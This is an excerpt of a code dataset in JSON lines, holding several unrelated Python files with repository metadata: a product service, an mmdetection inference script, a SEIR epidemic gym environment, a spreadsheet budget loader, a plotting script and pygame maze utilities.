product_data['image_list']\n            for image in image_list:\n                image['product_id'] = product_data['product_id']\n\n            self.product_dao.update_sub_image(image_list, session)\n\n        self.product_dao.update_product_data(product_data, session)\n\n    def get_product_list(self, query_string_list, session):\n        \"\"\" 상품 리스트 가져오기\n\n        Args:\n            query_string_list : 필터링 조건 쿼리스트링 리스트\n            session           : db 연결\n\n        Returns:\n            product_list : 상품리스트 및 상품리스트의 총 개수\n\n        \"\"\"\n        products_data = self.product_dao.select_product_list(query_string_list, session)\n        products_list = products_data['product_list']\n        product_list = []\n\n        # 등록시간과 할인가격을 수정/추가하면서 새로운 리스트를 만듬\n        for product in products_list:\n            product_data = {\n                'name':                 product['name'],\n                'product_id':           product['id'],\n                'main_image':           product['main_image'],\n                'created_at':           product['created_at'].strftime('%Y-%m-%d %H:%M:%S'),\n                'code_number':          product['code_number'],\n                'price':                product['price'],\n                'discount_rate':        product['discount_rate'],\n                'discount_price':       round(int(product['price']*(100-product['discount_rate'])/100), -1),\n                'is_sell':              product['is_sell'],\n                'is_display':           product['is_display'],\n                'is_discount':          product['is_discount'],\n                'product_number':       product['id'],\n                'seller_property_id':   product['seller_property_id'],\n                'brand_name_korean':    product['brand_name_korean']}\n\n            product_list.append(product_data)\n\n        return {'product_list': product_list, 'total_count': products_data['total_count']}\n", "repo_name": "DasomJung24/Brandi_4team_Project", "sub_path": "BrandiProject/service/product_service.py", "file_name": "product_service.py", "file_ext": "py", "file_size_in_byte": 8068, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "config.product_record", "line_number": 42, "usage_type": "name"}, {"api_name": "config.product_record", "line_number": 136, "usage_type": "name"}]}
{"seq_id": "39484699034", "text": "import os\n\nfrom mmcv.runner import load_checkpoint\nfrom mmdet.apis import inference_detector, show_result, init_detector\n\ncheckpoint_file = \"/media/preeth/Data/prajna_files/mmdet_local/mmdetection/fire-models/latest.pth\"\nconfig_fname = \"/media/preeth/Data/prajna_files/mmdet_local/mmdetection/fire-models/ssd300_vocdata.py\"\nscore_thr = 0.55\n\n# build the model from a config file and a checkpoint file\nmodel = init_detector(config_fname, checkpoint_file)\n\nimage_path = \"/media/preeth/Data/prajna_files/mmdet_local/mmdetection/fire-models/input/dataset_file/\"\nout_dir = \"/media/preeth/Data/prajna_files/mmdet_local/mmdetection/fire-models/output/\"\nimage_list = []\nimages = os.listdir(image_path)\nfor image in images:    \n    img = image_path + image    \n    result = inference_detector(model, img)\n    outpath = out_dir+image\n    print(outpath)\n    print(result,\"result\")\n    show_result(img, result, model.CLASSES, score_thr=score_thr, out_file=outpath)\n", "repo_name": "prajnasb/Training_pipeline_mmdet", "sub_path": "fire-models/inference.py", "file_name": "inference.py", "file_ext": "py", "file_size_in_byte": 953, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "mmdet.apis.init_detector", "line_number": 11, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 16, "usage_type": "call"}, {"api_name": "mmdet.apis.inference_detector", "line_number": 19, "usage_type": "call"}, {"api_name": "mmdet.apis.show_result", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "1549014386", "text": "from gym import spaces\nimport numpy as np\nimport gym\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\nimport helpers.SDEs as SDEs\nimport math\nimport pandas as pd\n\n\n#class SEIR(Agent):\nclass SEIR(gym.Env):\n    def __init__(self, period, step_size=7):\n        \"\"\"\n        ----------\n\n        ----------\n        step_size = the days in the week \n        observation_space (gym.spaces.Box, shape=(18,)): at each step, the environment only returns the true values S, I, E, R\n        action_space (gym.spaces.Box, shape=(1)): the value beta\n        \"\"\"\n\n        self.period = period\n        \n        self.N = np.array([566_994.0, 1528112.0, 279444.0])\n        self.Susceptible = np.array([566_994.0, 1528112.0, 279444.0])\n        self.Exposed = np.array([0.0, 0.0, 0.0])\n        self.Infected_ureported = np.array([0.0, 75.0, 0.0]) # unreported\n        self.Infected_reported = np.array([0.0, 10.0, 0.0]) # reported\n        self.Recovered1 = np.array([0.0, 0.0, 0.0]) # PCR-positive\n        self.Recovered2 = np.array([0.0, 0.0, 0.0]) # PCR-negative\n  \n\n        # the contact matrix before fitting\n        self.contacts = np.array([7.452397574, 4.718777779, 0.290063626, 1.764106486, 8.544229624, 0.624169322, 0.443861795, 2.55482785, 1.69]).reshape(3, 3)\n        # contact reduction = 1 and will be later become percentage\n        self.contact_reduction = np.array([1.0] * 9).reshape(3,3) # (0-19, 20-69, 70+) x (0-19, 20-69, 70+)\n\n\n        # infectivity per period\n        self.infectivity019_spring = 0.2353349159354256\n        self.infectivity2069_spring = 0.15661790850166916\n        self.infectivity70_spring = 0.2598042750357819\n        self.infectivity_spring = np.array([self.infectivity019_spring, self.infectivity2069_spring, self.infectivity70_spring]) # 0-19, 20-69, 70+]\n\n        self.infectivity019_autumn = 0.4462199710193084   \n        self.infectivity2069_autumn = 0.041112260686976825\n        self.infectivity70_autumn = 0.05360966821275955\n        self.infectivity_autumn = np.array([self.infectivity019_autumn, self.infectivity2069_autumn, self.infectivity70_autumn]) # 0-19, 20-69, 70+]\n\n\n        #infectivity reduction per unreported, reported\n        self.infectivity_reduction = np.array([0.5, 0.0]) \n\n        \n        self.exposed_rate = 5.1\n        self.recovery_rate = 5.0\n\n\n\n        self.unreported_srping019 = 0.998416430249021\n        self.unreported_srping2069 = 0.986717837070985\n        self.unreported_srping70 = 0.8639400113485507\n        self.unreported_spring = np.array([self.unreported_srping019, self.unreported_srping2069, self.unreported_srping70])\n\n\n        self.unreported_autumn019 = 0.5755026399435202\n        self.unreported_autumn2069 = 0.4763668186715981\n        self.unreported_autumn70 = 0.01\n        self.unreported_autumn = np.array([self.unreported_autumn019, self.unreported_autumn2069, self.unreported_autumn70])\n\n\n        # the actions to be taken\n        self.action_chosen = 0\n\n        # the step size\n        self.step_size = step_size\n\n        self.badget75 = 6 #variable for the ecml paper comparison\n        self.badget50 = 6 #variable for the ecml paper comparison\n\n        # continuous observation space\n        self.observation_space = spaces.Box(\n            0, 2_374_550.0, shape=(18,), dtype=np.float64)  # check dtype\n\n        self.actions = np.array([0, 1, 2, 3])\n        # discrete action space\n        self.action_space = gym.spaces.Discrete(4)\n\n    def reset(self):\n        \n\n        self.N = np.array([566_994.0, 1528112.0, 279444.0])\n        self.Susceptible = np.array([566_994.0, 1528112.0, 279444.0])\n        self.Exposed = np.array([0.0, 0.0, 0.0])\n        self.Infected_ureported = np.array([0.0, 75.0, 0.0]) # unreported\n        self.Infected_reported = np.array([0.0, 10.0, 0.0]) # reported\n        self.Recovered1 = np.array([0.0, 0.0, 0.0]) # PCR-positive\n        self.Recovered2 = np.array([0.0, 0.0, 0.0]) # PCR-negative\n        \n\n        self.actions = np.array([0, 1, 2, 3])\n        self.contacts = np.array([7.452397574, 4.718777779, 0.290063626, 1.764106486, 8.544229624, 0.624169322, 0.443861795, 2.55482785, 1.69]).reshape(3, 3)\n        self.contact_reduction = np.array([1.0] * 9).reshape(3,3) # (0-19, 20-69, 70+) x (0-19, 20-69, 70+)\n\n        self.infectivity019_spring = 0.2353349159354256\n        self.infectivity2069_spring = 0.15661790850166916\n        self.infectivity70_spring = 0.2598042750357819\n        self.infectivity_spring = np.array([self.infectivity019_spring, self.infectivity2069_spring, self.infectivity70_spring]) # 0-19, 20-69, 70+]\n\n        self.infectivity019_autumn = 0.4462199710193084   \n        self.infectivity2069_autumn = 0.041112260686976825\n        self.infectivity70_autumn = 0.05360966821275955\n        self.infectivity_autumn = np.array([self.infectivity019_autumn, self.infectivity2069_autumn, self.infectivity70_autumn]) # 0-19, 20-69, 70+]\n\n        self.unreported_srping019 = 0.998416430249021\n        self.unreported_srping2069 = 0.986717837070985\n        self.unreported_srping70 = 0.8639400113485507\n        self.unreported_spring = np.array([self.unreported_srping019, self.unreported_srping2069, self.unreported_srping70])\n\n\n        self.unreported_autumn019 = 0.5755026399435202\n        self.unreported_autumn2069 = 0.4763668186715981\n        self.unreported_autumn70 = 0.01\n        self.unreported_autumn = np.array([self.unreported_autumn019, self.unreported_autumn2069, self.unreported_autumn70])\n\n  \n        self.infectivity_reduction = np.array([0.5, 0.0]) # unreported, reported\n        \n        self.exposed_rate = 5.1\n        self.recovery_rate = 5.0\n\n        #0:level0\n        #1:level3\n        #2:level2\n        #3:level1\n        self.badget75 = 6 # for the ecml paper comparison\n        self.badget50 = 6 #variable for the ecml paper comparison\n\n\n        # concating the obervation space to an numpy array\n        \n        self.state = np.array([\n            self.Susceptible, # S\n            self.Exposed, # E\n            self.Infected_ureported, # I\n            self.Infected_reported,\n            self.Recovered1,\n            self.Recovered2])\n\n\n        return self.state\n\n    def step(self, action=None, steps=None):\n        \"\"\"performs integration step\"\"\"\n\n        if self.state.shape[0] != 18:\n            self.state = np.concatenate((self.state[0], self.state[1], self.state[2], self.state[3], self.state[4], self.state[5]))\n\n        # integration and solving\n        self.state = self.solver(self.state, action, steps)\n\n        info = {}\n\n\n\n        return self.state, 0, False, info\n\n    # implementation of contact reduction for benchmark sweden fitted\n    def generate_contact_profile(self, start_days, nr_change_days, contact_changes):\n        contact_profile = list()\n            \n        # initial flat\n        for x in range(0, start_days[0]-1):\n            contact_profile.append(contact_changes[0])\n\n        # changes\n        for x in range(0, len(nr_change_days)):       \n            # contact change\n            contact_diff = contact_changes[x] - contact_changes[x+1]\n            change_per_day = contact_diff / (nr_change_days[x] + 1)\n            multiplier = 1\n\n            for y in range(start_days[x], start_days[x] + nr_change_days[x]): \n                contact_profile.append(contact_changes[x] - change_per_day * multiplier)\n                multiplier += 1\n\n            # contact flat   \n            for y in range(start_days[x]+nr_change_days[x], start_days[x+1]):\n                contact_profile.append(contact_changes[x+1])\n\n        return contact_profile\n\n    def solver(self, X, action, steps):\n        \"\"\"Solve the SDEs with sdeint package.\n\n        Parameters\n        ----------\n        X : self.state of SEIR\n\n        action: int, action taken \n\n        period: string, spring eller autumn eller FOHM\n\n\n        Returns\n        -------\n        y : 1D NumPy array\n        \n        \"\"\"\n        # Arguments used by seir_ode\n        self.action_chosen = action\n        self.steps = steps \n\n\n\n        X_ = np.array(X)\n\n\n        t = np.linspace(0, self.step_size, num=7)\n\n\n        def GG(y, t):\n            # changed to some\n            return np.diag([1, 1, 1, 0, 0, 0 , 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0])\n       \n        dxdt = SDEs.itoEuler(self.seir_ode, GG, X_, t)\n\n\n        return dxdt[-1]\n\n\n    def render(self, mode = 'human'):\n\n        pass\n\n\n    #@staticmethod\n    def seir_ode(self, init, time):\n\n\n        '''\n        SEIR ODEs\n        '''\n        exposed_rate = self.exposed_rate\n        recovery_rate = self.recovery_rate\n        infectivity_autumn = self.infectivity_autumn\n        infectivity_spring = self.infectivity_spring\n        unreported_spring = self.unreported_spring\n        unreported_autumn = self.unreported_autumn\n        infectivity_reduction = self.infectivity_reduction\n        population = self.N\n        contacts = self.contacts\n        period = self.period\n\n        if period == 'spring':\n           #level0\n            if self.action_chosen == 0:\n                contact_reduction = self.contact_reduction * 1\n\n            #level3\n            if self.action_chosen == 1:\n                contact_reduction = self.contact_reduction * 0.25\n\n            #level2\n            if self.action_chosen == 2:\n\n                contact_reduction = self.contact_reduction * 0.50\n            #level1\n            if self.action_chosen == 3:\n\n                contact_reduction = self.contact_reduction * 0.75\n            \n            unreported = unreported_spring\n\n            infectivity = infectivity_spring\n\n            transmission_rate = contacts * contact_reduction * infectivity / self.N\n\n        elif period == 'autumn':\n            \n            if self.action_chosen == 0:\n                contact_reduction = self.contact_reduction * 1\n\n            if self.action_chosen == 1:\n                contact_reduction = self.contact_reduction * 0.25\n    \n            if self.action_chosen == 2:\n                contact_reduction = self.contact_reduction * 0.50\n\n            if self.action_chosen == 3:\n                contact_reduction = self.contact_reduction * 0.75\n            infectivity = infectivity_autumn\n            unreported = unreported_autumn\n\n            transmission_rate = contacts * contact_reduction * infectivity / self.N\n\n\n        elif period == 'FOHM':\n\n            infectivity = infectivity_autumn\n            unreported = unreported_autumn\n\n            start_day_period1 = 18+2 #76\n            start_day_period2 = 198 - 179 +2 #256\n            start_day_period3 = 256 - 179 +2 #323\n            days_change_period1 = 14\n            days_change_period2 = 22\n            days_change_period3 = 60\n            contact_change_period1 = 0.19184387072616624\n            contact_change_period2 = 0.3211756937149402\n            contact_change_period3 = 0.5516354340792019\n\n            contact_profile = self.generate_contact_profile([start_day_period2, start_day_period3, 182+1],\\\n                [days_change_period2, days_change_period3], [1.0,contact_change_period2, contact_change_period3])\n            \n            transmission_rate = ((contacts * contact_profile[math.floor(self.steps * 7)] * infectivity).T / population).T\n\n\n\n\n        \n        susceptible, exposed, infected_u, infected_r, recovered1, recovered2 = np.split(init, [3, 6, 9, 12, 15])\n\n\n        \n\n        dS_out = ( ((transmission_rate*susceptible).T).dot( (1-infectivity_reduction[0]) * infected_u + (1-infectivity_reduction[1]) * infected_r) )\n        dE_out = exposed * 1/exposed_rate\n        dI_u_out = infected_u * 1/recovery_rate\n        dI_r_out = infected_r * 1/recovery_rate\n        dR1_out = recovered1 * 1/recovery_rate\n\n        dS = -dS_out\n        dE = dS_out - dE_out\n        dI_u = (dE_out * unreported) - dI_u_out\n        dI_r = (dE_out * ([1 - value for value in unreported])) - dI_r_out\n        dR1 = (dI_u_out + dI_r_out) - dR1_out\n        dR2 = dR1_out\n\n        return np.concatenate((dS, dE, dI_u, dI_r, dR1, dR2))\n\n\n    \n    def close(self):\n        pass\n\t\t", "repo_name": "MariaBampaAI/EpidRLearn", "sub_path": "env_/seir.py", "file_name": "seir.py", "file_ext": "py", "file_size_in_byte": 11978, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "gym.Env", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "gym.spaces.Box", "line_number": 83, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 83, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 86, "usage_type": "call"}, {"api_name": "gym.spaces.Discrete", "line_number": 88, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 225, "usage_type": "call"}, {"api_name": "helpers.SDEs.itoEuler", "line_number": 227, "usage_type": "call"}, {"api_name": "helpers.SDEs", "line_number": 227, "usage_type": "name"}, {"api_name": "math.floor", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 323, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 341, "usage_type": "call"}]}
{"seq_id": "24761600217", "text": "#from loguru import logger\nfrom datetime import datetime\nimport calendar\n\nfrom startpage.services.constants import months_full_names\nfrom moysklad.services.entities.base import get_documents, get_document_by_id, \\\n    get_document\nfrom summary_table.services.base import spreadsheet_id, \\\n    control_spreadsheet_id, control_sheet, \\\n    reestr_proektov_customerorder_state, search_attr_value_by_id, add, format_sum, \\\n    format_date, chained_get, get_sum_by_doc_type\nfrom google_apis.services.spreadsheets.main import write_to_sheet, \\\n    clear_sheet_range, batch_update, get_spreadsheet_rows\n\n#logger.add(\n#    '/home/admin/code/panel-tf/panel/summary_table/logs/debug.log', \n#    format=\"{time} {level} {message}\", level='DEBUG', rotation='1 week', \n#    compression='zip', retention=\"49 days\"\n#)\n\nsheet = 'Бюджет ПРОЕКТА'\n\ndef _add(item, type='str'):\n    return add(to=table, item=item, type=type)\n\ndef _write(row: int, col: str, data):\n    write_to_sheet(\n        spreadsheet_id=spreadsheet_id, sheet=sheet, column=col, \n        row_id=row, data=data\n    )\n\ndef _clear(start: str, finish: str):\n    clear_sheet_range(\n        spreadsheet_id=spreadsheet_id, sheet=sheet, start=start, \n        finish=finish\n    )\n\ndef _get_link(doc: dict):\n    return f'=ГИПЕРССЫЛКА(' \\\n        f'''\"https://online.moysklad.ru/app/#{doc['meta']['uuidHref']}/edit?id={doc['id']}\";''' \\\n        f'''\"{doc['name']}\")'''\n\ndef _write_error(text: str, raise_exception=True):\n    print(write_to_sheet(spreadsheet_id=control_spreadsheet_id, sheet=control_sheet,\n        column=errors_column, row_id=first_string_index+1, data=text))\n    if raise_exception:\n        raise\n\ndef _write_success():\n    write_to_sheet(spreadsheet_id=control_spreadsheet_id, sheet=control_sheet,\n        column=errors_column, row_id=first_string_index+1, data='')\n\n\n\ndef load_budget_proekta():\n    rows = get_spreadsheet_rows(\n        spreadsheet_id=control_spreadsheet_id, \n        sheet=control_sheet\n    )\n    _column_indexes(rows=rows)\n    try:\n        project_name = rows[first_string_index][project_column]\n        project = get_document(\n            doc_type='project', filters=[f'name={project_name}']\n        )\n    except:\n        _write_error('Укажите проект!')\n    global now\n    global table\n    table = []\n    now = datetime.now()\n    purchaseorders = get_documents(\n        doc_type='purchaseorder', \n        filters=[\n            f\"project={project['meta']['href']}\"\n        ]\n    )\n    \n    for id, po in enumerate(purchaseorders):\n        table.append([])\n        # № (вн заказ)\n        io = chained_get(po, keys=['internalOrder'])\n        if io:\n            io = get_document(doc_type='internalorder', href=io['meta']['href'])\n            po['internalOrder'] = io\n            table = _add(_get_link(doc=io))\n        else:\n            table = _add('')\n        # проект\n        table = _add(project_name)\n        # сумма (вн заказ)\n        sum = chained_get(po, keys=['internalOrder', 'sum'])\n        sum = format_sum(sum)\n        table = _add(sum, type='sum')\n        # заказ поставщику\n        table = _add(_get_link(doc=po))\n        # контрагент\n        agent = chained_get(po, keys=['agent'])\n        if agent:\n            agent = get_document(doc_type='agent', href=agent['meta']['href'])\n        table = _add(agent.get('name'))\n        # сумма (зак пост)\n        po_sum = chained_get(po, keys=['sum'])\n        po_sum = format_sum(po_sum)\n        table = _add(po_sum, type='sum')\n        # выставлено счетов сумма\n        ii_sum = 0\n        for ii in po.get('invoicesIn', []):\n            ii = get_document(doc_type='invoicein', href=ii['meta']['href'])\n            ii_sum += ii['sum']\n        table = _add(ii_sum, type='sum')\n        # оплачено (зак пост)\n        po_payed_sum = chained_get(po, keys=['payedSum'])\n        po_payed_sum = format_sum(po_payed_sum)\n        table = _add(po_payed_sum, type='sum')\n        # принято (зак пост)\n        po_shipped_sum = chained_get(po, keys=['payedSum'])\n        po_shipped_sum = format_sum(po_shipped_sum)\n        table = _add(po_shipped_sum, type='sum')\n        # описание\n        description = chained_get(po, keys=['description'])\n        table = _add(description)\n        \n        \n    h1 = [['Бюджеты проекта']]\n    h2 = [\n        [f'Обновлено' \\\n        f'{now.strftime(\"%d\")}.{now.strftime(\"%m\")}.{now.year} в ' \\\n        f'{now.strftime(\"%H\")}:{now.strftime(\"%M\")}:{now.strftime(\"%S\")}']\n    ]\n    header = [[\n        '№', 'Бюджет', 'Сумма бюджета', '№ заказа', 'Контрагент', 'Сумма заказа', 'Выставлено счетов', 'Оплачено', 'Принято', 'Комментарий'\n    ]]\n    table = header + table\n    \n    _clear(start=7, finish=73)\n    _write(row=1, col='A', data=h1)\n    _write(row=2, col='A', data=h2)\n    _write(row=7, col='A', data=table)\n    _write_success()\n\ndef _column_indexes(rows: list):\n    \"\"\"Функция динамически определяет номера колонок\"\"\"\n    for id, row in enumerate(rows):\n        if row.count('Проект') != 0:\n            global first_string_index\n            first_string_index = id + 1\n            global project_column\n            project_column = row.index('Проект')\n            global errors_column\n            errors_column = project_column + 3\n            break\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "hoanhungdev/panel-tf", "sub_path": "panel-tf/panel/summary_table/services/sheets/budget_proekta.py", "file_name": "budget_proekta.py", "file_ext": "py", "file_size_in_byte": 5553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "summary_table.services.base.add", "line_number": 24, "usage_type": "call"}, {"api_name": "google_apis.services.spreadsheets.main.write_to_sheet", "line_number": 27, "usage_type": "call"}, {"api_name": "summary_table.services.base.spreadsheet_id", "line_number": 28, "usage_type": "name"}, {"api_name": "google_apis.services.spreadsheets.main.clear_sheet_range", "line_number": 33, "usage_type": "call"}, {"api_name": "summary_table.services.base.spreadsheet_id", "line_number": 34, "usage_type": "name"}, {"api_name": "google_apis.services.spreadsheets.main.write_to_sheet", "line_number": 44, "usage_type": "call"}, {"api_name": "summary_table.services.base.control_spreadsheet_id", "line_number": 44, "usage_type": "name"}, {"api_name": "summary_table.services.base.control_sheet", "line_number": 44, "usage_type": "name"}, {"api_name": "google_apis.services.spreadsheets.main.write_to_sheet", "line_number": 50, "usage_type": "call"}, {"api_name": "summary_table.services.base.control_spreadsheet_id", "line_number": 50, "usage_type": "name"}, {"api_name": "summary_table.services.base.control_sheet", "line_number": 50, "usage_type": "name"}, {"api_name": "google_apis.services.spreadsheets.main.get_spreadsheet_rows", "line_number": 56, "usage_type": "call"}, {"api_name": "summary_table.services.base.control_spreadsheet_id", "line_number": 57, "usage_type": "name"}, {"api_name": "summary_table.services.base.control_sheet", "line_number": 58, "usage_type": "name"}, {"api_name": "moysklad.services.entities.base.get_document", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "name"}, {"api_name": "moysklad.services.entities.base.get_documents", "line_number": 72, "usage_type": "call"}, {"api_name": "summary_table.services.base.chained_get", "line_number": 82, "usage_type": "call"}, {"api_name": "moysklad.services.entities.base.get_document", "line_number": 84, "usage_type": "call"}, {"api_name": "summary_table.services.base.chained_get", "line_number": 92, "usage_type": "call"}, {"api_name": "summary_table.services.base.format_sum", "line_number": 93, "usage_type": "call"}, {"api_name": "summary_table.services.base.chained_get", "line_number": 98, "usage_type": "call"}, {"api_name": "moysklad.services.entities.base.get_document", "line_number": 100, "usage_type": "call"}, {"api_name": "summary_table.services.base.chained_get", "line_number": 103, "usage_type": "call"}, {"api_name": "summary_table.services.base.format_sum", "line_number": 104, "usage_type": "call"}, {"api_name": "moysklad.services.entities.base.get_document", "line_number": 109, "usage_type": "call"}, {"api_name": "summary_table.services.base.chained_get", "line_number": 113, "usage_type": "call"}, {"api_name": "summary_table.services.base.format_sum", "line_number": 114, "usage_type": "call"}, {"api_name": "summary_table.services.base.chained_get", "line_number": 117, "usage_type": "call"}, {"api_name": "summary_table.services.base.format_sum", "line_number": 118, "usage_type": "call"}, {"api_name": "summary_table.services.base.chained_get", "line_number": 121, "usage_type": "call"}]}
{"seq_id": "23383970430", "text": "from matplotlib import pyplot as plt\nimport numpy as np\ndef getParams(order):\n    return 0.5*(order +1)*(order+2)\n\ndef str2Time(t):\n    m = t.split(\"m\")[0]\n    s = t.split(\"m\")[1].split(\"s\")[0]\n    return float(m)*60 + float(s)\n\n\ndef mAndc(x, y):\n    m = -(np.mean(y) * np.mean(x) - np.mean(x * y))/np.std(x)**2\n    c = np.mean(y) - m * np.mean(x)\n    return m, c\n\n\nx = []\nt= []\nwith open(\"fit_times.txt\") as f:\n    for line in f:\n        a = line.split()\n        o = int(a[0])\n        nP = getParams(o)\n        t += [str2Time(a[1])]\n        x += [nP]\n\nx= np.array(x)\nt= np.array(t)\nf,a=plt.subplots(1,1)\na.scatter(x, t)\nm, c = mAndc(x, t)\nX = np.linspace(0, 9, 9)\nX = getParams(X)\n\nY = m * X + c\na.plot(X, Y)\nf.savefig(\"fit_times.png\", dpi=300)\n\n", "repo_name": "jakelane137/QMI_Fit", "sub_path": "fit_times.py", "file_name": "fit_times.py", "file_ext": "py", "file_size_in_byte": 747, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.mean", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 33, "usage_type": "call"}]}
{"seq_id": "17424200104", "text": "import pygame\nfrom os import path\n\nmaze_filename = 'maze.bmp'\n\ndef transform_maze():\n    src = pygame.image.load(path.join(path.dirname(__file__),maze_filename))\n    dst = pygame.Surface((61,61))\n\n    src.lock()\n    dst.lock()\n    for x in range(5, 615, 10):\n        for y in range(5, 615, 10):\n            c = src.get_at((x,y))\n            dst.set_at((int((x - 5)/10), int((y-5)/10)), c)\n\n    src.unlock()\n    dst.unlock()\n\n    pygame.image.save(dst, path.join(path.dirname(__file__),maze_filename))\n\ndef read_maze_img():\n    maze_img = pygame.image.load(path.join(path.dirname(__file__),maze_filename))\n    maze = []\n    maze_size = maze_img.get_size()\n\n    maze_img.lock()\n    for y in range(maze_size[1]):\n        row = []\n        for x in range(maze_size[0]):\n            color = maze_img.get_at((x,y))\n            if color == (255, 255, 255, 255):   #walkable\n                row.append(0)\n            else:\n                row.append(1)       #wall\n        maze.append(row)\n    maze_img.unlock()\n\n    return maze\n\ndef build_maze_image(maze_matrix, zoom):\n    rows, cols = get_maze_size(maze_matrix)\n    maze_img = pygame.Surface((cols* zoom, rows * zoom))\n    maze_img.lock()\n    for row in range(rows):\n        for col in range(cols):\n            color = (255, 255, 255, 255) if maze_matrix[row][col] == 0 else (0, 0, 0, 255)\n            for x in range(zoom):\n                for y in range(zoom):\n                    maze_img.set_at(((col* zoom) + x,(row * zoom) + y), color)\n    maze_img.unlock()\n\n    return maze_img\n\ndef get_maze_size(maze_matrix):\n    return len(maze_matrix), len(maze_matrix[0])\n\ndef screen_point_to_maze_coord(zoom, point):  # returns row, col\n    return int(point[1] / zoom), int(point[0] / zoom)\n\ndef maze_coord_to_screen_point(zoom, coord):  # returns x,y\n    return coord[1] * zoom, coord[0] * zoom\n\ndef maze_coord_is_walkable(maze_matrix, coord):\n    return maze_matrix[int(coord[0])][int(coord[1])] == 0", "repo_name": "edualdono/PythonGames", "sub_path": "Actividad2/maze_utils.py", "file_name": "maze_utils.py", "file_ext": "py", "file_size_in_byte": 1941, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.image.load", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.image.save", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 43, "usage_type": "call"}]}
